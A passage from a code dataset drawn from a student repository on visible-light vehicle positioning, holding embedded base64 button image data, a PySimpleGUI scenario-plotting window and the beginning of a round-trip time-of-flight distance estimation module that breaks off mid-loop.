qBaWgv+jzMXCPF6xzIACejwJ3DuH7rLz0rz5p2gcGIjCYxUx18fVoxAg9mgEzvhhOgYSYR5hUsnvR9XQSRrd/sdvOULQsEZYSQmwVKFutiCv+T+2EAVZBaTJIAN+3HUXKcS4AOog15waZNVcXrRYB1gSnVD19KKZeMaZro8d5nqWDdQTX7UzJwy03TOcABDEvJSsX7QYhXCN7r9PxQA6MeRJkWk5aTT7LmpumPT646BMwQcNMlzLk2FDTwgQ58Pd+8J57aEbaBBX+Ex/bATJFzQobzaZpAADb6uWpPqwG4YnUNL1VvXYK0JYULbHMS4O+v9YCe7GGSCOATTgLcmadpAgH3PUAa7ovADj5atmvYOccDX7giFe+6nnQAjcmkjBAy0nbMMzBNE28nFaU2AjeFCWhgIjjpDtVKZnYP5x41HeHsvLqKrZHMAd6XTR0pp5CAREzTBPCq2I0U+RDlScW9UNeAU1o03NLzJSddRZtSzD1K9CLlr//4+yyqnaBrSqeBnyg7GAEQuF6toLe63yRRuCrZA4q3lt7PWPcmMsWb3o8X8GNOAGvbAFlGEQMUAd/w1QbJIEQJhWTwGc4jJ8P4zA/KpAoyF37HQV3k2Bicd24nsmsgPOGLbtfx0Vz4coy/+PgZv7NOJjpLeOY/wMarE5BLe/Z4GPxgpwXZCfo6bO0I/OQd+V67ovtbYeOy45eABx1W9bYFYYyDgQFAnxKEc2t0MOjciyE3IVXAAcNP4u0uawKTTI4KJoAG8MyzIfnm8fEjtgVhnl2B5/laVXpEBgx/yKXH4hM4vaqSP9bC69f66cGnC6SlwADBhE0yqhnxBxWYM+OiAx+5JJiMa3+7B86jHUB9wHAQGBwTlEUOBBRziEOAAbA1ihnx4cDRtXk8dNDHYD5ScwAfewGNDH5+IEc6yLFDBxnnKg648VOF8Y1e8wEUMPgRIAADOPx2NlDzA2px0u9IFxuwcM1PeoKRa4ljjw8pBvN4ArTz2GGXb2xLcsU/mEXBI0EDzbXgnSMGEwwljHCSAb0NH6UGx/EKBK8tx1k6GLcj8Klozme34OeTpCAy/JA4/AEh+gO4a8NHc8Q3vMCRDHYlgy7tAVB42UP88XeM7RY8EoOPTgQ4MgadHkL4kz4OM4Nd84l3MA44KVzrox1Dn/OcMEExAClxLnOAcA5cIOGlQGCqiZORjXyqh246BMiZ2KE/eiSCLroNlRigBZ51ANAjOMGTAZJ1gy0J5E92C318IcM3dsUX/+mkR4xssoc/1ZwCIUsH+3SnZeJLrNYM+ukx2MsOpQNOeOpbBk4EoPoQAY54D8EI5QTwOOeA/wRdgEZoULE51wAhKzj9TSDs0GPOehKrioCXnWWeLXbN06fCjARIt8QKzhE/3UjFWlfx5sjTCQzXqUrJ4Ytj4mGTbGIKDzxybh0Bnl76yPEtcxKchGXXwGC0q64+RUilYeIEYeTIWBzKvF/MpRwgBoojEpdzupxnF+Ua4PTmKSE7gH22+GJH0KUSJQuwdBn8IOMcjxjYsCsFj9fWDoD46HWNlx38CJ9zvgHHOt/Ex4e0UzwpGEmlz1wwc+SrBLBHbwqGHnqzVsADgZBgCHBObxIQQ4JAfr+HIcopwctBAzkGBPo4zHm8qWqOBADVJFi87AUAvO4LbAOCX3xIstgKQAmELrbx0plrtvlg3qCTPcPOYZOchElkwFWpbLBJHh+d5JDYExffYAZc8rFDn3sGOXrwa4V8qHc1nA8zxba63s2xOI0ZRbmMU0QO4BwVgPbEEKclKHJx2ts5c/RylkOAci4AAWWdPiMgS5qkAImPbPORbuf0SFh04CFrzY5xZAM48YeMVsQOOfPsuEZJnMLgq3m+0xH/nSMthH944Ei3x3Qxk4EHHljVzRWDCWBzDqiMcNIaZxytEeYgYwHedZQzqjoSBEfwkjUAoOIBgtc5XvoRXvOIXVVDzlEw1h35Rrfg8eExL0D6XCsISRSoIxmgBqDM00k/fXxXlXlqM0c/co6PDgQjZF48drg5th3x8iHxDd5r6rf+OMQYII20AvOUAEXGBYUESDGH8HMcr3OgAZcz+rRkuuYYvQifa3oNAERn5PFxOjKAcE0ve+SBKSi2rSVYVSYhAYJOcQRcfInZkQ526AW8c13AjgGy6+xIemBFxjoM6HPNjkEHfv/VBlKs/A6vmOtvklnMTUlAmIAMDCCpEAYFRzFn8RgM4gWe6/DQ470zHQxzMmvkBZNk04lH4BxG9AooSVUtfAAEexKBgGuYj9/sIE9RggWEOBSAoPGxiciakxR85vGyJQa+SgJfycUOvWTZIk/GOj3OyShW/Ah/sKBz1H+WLjgLgg8DB4DAWQC4FnASQ1kSY908Hg5zwJyK5Jg1uq0DkB7EQetkrEU3f+gISHzQ/lzTKYl4DCRJgrHu3KDbke4Abt21eXoUiwIIryO74rJuwAAPGb5ahxHe+EBn+FMgkihZkk+H2OJjyXZZ6ZuUKeBwhoOMIMyMMkYpJSrZuTUA45dZPAbioCFo/Elieqdrw04DuiD4IGg7DF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'
layout = [
[
sg.Graph(
canvas_size=(size_width, size_height),
graph_bottom_left=(0, 0),
graph_top_right=(size_width, size_height),
key="graph"
),
sg.Button('Plot #1', image_data=button_one),
sg.Button('Plot #2', image_data=button_two),
sg.Button('Plot #3', image_data=button_three), sg.Cancel()
]
]
window = sg.Window("Choose Scenario", layout)
window.Finalize()
window.Maximize()
graph = window.Element("graph")
graph.DrawImage(filename=sim_data.names.intro_img_dir_name, location=(0, size_height))
while True:
event, values = window.Read()
if event in (sg.WIN_CLOSED, 'Cancel'):
break
elif event == 'Plot #1':
input_name = sim_data.names.data_names[0]
folder_name = sim_data.names.folder_names[0]
plot(input_name, folder_name)
elif event == 'Plot #2':
input_name = sim_data.names.data_names[1]
folder_name = sim_data.names.folder_names[1]
plot(input_name, folder_name)
elif event == 'Plot #3':
input_name = sim_data.names.data_names[2]
folder_name = sim_data.names.folder_names[2]
plot(input_name, folder_name)
window.close()
if __name__ == '__main__':
main()
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,988 | fsahbaz/elec491 | refs/heads/main | /VLP_methods/rtof.py | import scipy.signal as signal
import numpy as np
from numba import njit
import math
"""
*: coordinate center of cari
|--------|
| car1 |
|-------*|
|
y | |---------|
| | car2 |
|-------------------|*--------|
d
"""
class RToF:
def __init__(self, a_m=2, f_m=1e6, measure_dt=5e-9, vehicle_dt=5e-3, car_dist=1.6, r=499, N=1, c=3e8):
self.dt = measure_dt
self.f = f_m
self.a_m = a_m
self.r = r
self.N = N
self.c = c
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.car_dist = car_dist
# Generating the necessary signals for distance measurement algorithm.
def gen_signals(self, f, r, N, t, delays, noise_variance):
### BS: adding this here since it's generic
length_time = np.size(t);
# necessary noise generation for signals
noise1 = np.random.normal(0, math.sqrt(noise_variance[0]), length_time).astype('float')
noise2 = np.random.normal(0, math.sqrt(noise_variance[1]), length_time).astype('float')
# generating initial reference signal (original)
s_e = np.asarray(signal.square(2 * np.pi * f * t), dtype='float') # + (noise1 + noise2) / 2
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
### and this can easily be an array, so I'll convert it to an array
s_r = np.zeros((2, length_time));
# noise added, received signals
s_r[0] = np.asarray(signal.square(2 * np.pi * f * (t + delays[0])), dtype='float') + noise1;
s_r[1] = np.asarray(signal.square(2 * np.pi * f * (t + delays[1])), dtype='float') + noise2;
# heterodyned signal, for reference
s_h = np.asarray(signal.square(2 * np.pi * f * (r / (r + 1)) * t), dtype='float')
# heterodyned, flip flop gate clock signal
s_gate = np.asarray((signal.square(2 * np.pi * (f / (N * (r + 1))) * t) > 0), dtype='float');
return s_e, s_r, s_h, s_gate
### BS: a numba-jit'able method can't have a "self" type inherited class definition,
### that simply doesn't work in C. so we need to make this a static method,
### with a name that won't conflict with any other function in the global scope.
# Estimating the distance based on the phase difference between the sent and both received signals.
@staticmethod
@njit(parallel=True)
def rtof_estimate_dist(s_e, s_r, s_h, s_gate, f, r, N, dt, t, length_time):
# setting initial states
s_clk = np.zeros(length_time);
s_clk_idx = np.arange(1, length_time, 2);
s_clk[s_clk_idx] = 1;
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
### and this can easily be an array, so I'll convert it to an array
s_phi_hh = np.zeros((2, length_time));
s_eh_state = 0
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
### and this can easily be an array, so I'll convert it to an array
s_rh_state = np.zeros((2))
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
counts1 = [];
counts2 = [];
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
### and this can easily be an array, so I'll convert it to an array
M = np.zeros((2))
# to check the difference between consecutive values
s_h_diff = np.diff(s_h)
for i in range(1, length_time):
# detecting the falling edge
if s_h_diff[i-1] == 2:
# updating the states based in zero-crossing
if s_e[i] > 0:
s_eh_state = 1
else:
s_eh_state = 0
if s_r[0][i] > 0:
s_rh_state[0] = 1
else:
s_rh_state[0] = 0
if s_r[1][i] > 0:
s_rh_state[1] = 1
else:
s_rh_state[1] = 0
# phase shift pulses
s_phi_hh[0][i] = np.logical_xor(s_eh_state, s_rh_state[0]) * s_gate[i] * s_clk[i]
s_phi_hh[1][i] = np.logical_xor(s_eh_state, s_rh_state[1]) * s_gate[i] * s_clk[i]
